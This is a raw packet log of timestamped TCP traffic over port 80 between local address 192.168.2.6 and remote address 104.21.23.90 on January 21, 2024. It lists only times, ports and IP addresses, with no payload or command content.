Jan 21, 2024 17:12:01.372999907 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.373652935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373703003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.373780012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373792887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373805046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373817921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373827934 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.373831987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373845100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373851061 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.373858929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373872042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.373883963 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.373913050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.374592066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374669075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374681950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374692917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374705076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374710083 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.374720097 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374728918 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.374735117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374748945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374762058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.374773979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.374794006 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.375469923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.375483036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.375519037 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.375544071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.375556946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.375569105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.375597954 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.375621080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.376019001 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376033068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376044035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376055956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376070976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376074076 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.376084089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376092911 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.376097918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376111984 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376125097 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376130104 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.376152039 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.376903057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376945019 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.376971960 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.377012968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377024889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377038002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377049923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377062082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.377064943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377074003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.377079964 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377093077 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377105951 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.377136946 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.377940893 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377954006 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377965927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377980947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.377989054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.377994061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378006935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378016949 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.378021955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378035069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378046036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.378051043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378072023 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.378880978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378894091 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378906965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378916979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.378921032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378935099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378947020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.378947973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378962040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378973007 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.378976107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.378989935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379000902 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.379004955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379028082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.379762888 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379775047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379786015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379798889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379802942 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.379812002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379823923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379825115 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.379837990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379852057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379851103 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.379869938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379882097 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.379884005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.379910946 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.380563974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380578041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380589962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380608082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.380634069 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.380835056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380884886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380898952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380911112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380935907 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.380954027 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.380975008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.380989075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381001949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381015062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381021976 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.381028891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381042957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381064892 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.381088018 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.381923914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381937027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381947994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381961107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381970882 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.381973982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381988049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.381994963 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382003069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382015944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382028103 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382030010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382044077 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382054090 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382081032 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382751942 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382891893 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382905960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382917881 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382930040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382935047 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382945061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382957935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382957935 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382972002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382982969 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.382986069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.382999897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383008003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.383039951 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.383569956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383615017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383627892 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383652925 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.383752108 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383764982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383775949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383789062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383791924 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.383802891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383816004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.383816957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383831978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.383841991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.383867979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.384491920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384505033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384546041 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.384552002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384566069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384577990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384605885 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.384701967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384716034 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384727955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384742022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384746075 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.384756088 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.384773970 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.384800911 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.385555983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385570049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385581017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385592937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385606050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385618925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385627985 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.385632992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385647058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385659933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385662079 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.385674000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.385688066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.385725021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.386348963 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386363029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386373997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386406898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386410952 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.386441946 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.386472940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386487007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386498928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386511087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386534929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.386549950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386564016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.386564016 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.386600971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.387366056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387378931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387391090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387403965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387415886 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.387417078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387430906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387445927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387448072 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.387459040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387473106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387485981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.387489080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.387516975 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.387537956 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.388279915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388293028 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388307095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388319016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388331890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388345003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388345003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.388360023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388370991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.388374090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388387918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388402939 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.388402939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.388431072 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.388449907 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.388978004 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389122963 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389137030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389147997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389159918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389166117 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.389173985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389187098 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.389188051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389202118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389214993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389219046 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.389230013 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.389240980 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.389280081 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.390065908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390079975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390090942 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390104055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390116930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390125990 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.390130997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390144110 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390145063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.390157938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390176058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390177965 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.390191078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390199900 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.390204906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390244961 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.390897036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390913010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.390950918 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.391041994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391055107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391067028 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391078949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391083002 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.391093016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391105890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391113997 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.391119003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391132116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391144991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391145945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.391160965 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.391191959 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.391885042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391897917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391911030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.391957045 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392021894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392035007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392045975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392057896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392062902 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392071009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392083883 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392096996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392097950 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392112017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392122030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392136097 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392461061 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392779112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392792940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392822981 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392937899 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392951012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392962933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392973900 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392977953 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.392987967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.392999887 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.393002987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393028975 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.393028975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393043995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393055916 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393069029 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.393069983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393098116 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.393780947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393794060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393805981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393819094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393824100 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.393832922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.393862009 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.393902063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.394292116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.394320011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.394332886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.394346952 CET	80	49700	104.21.23.90	192.168.2.6
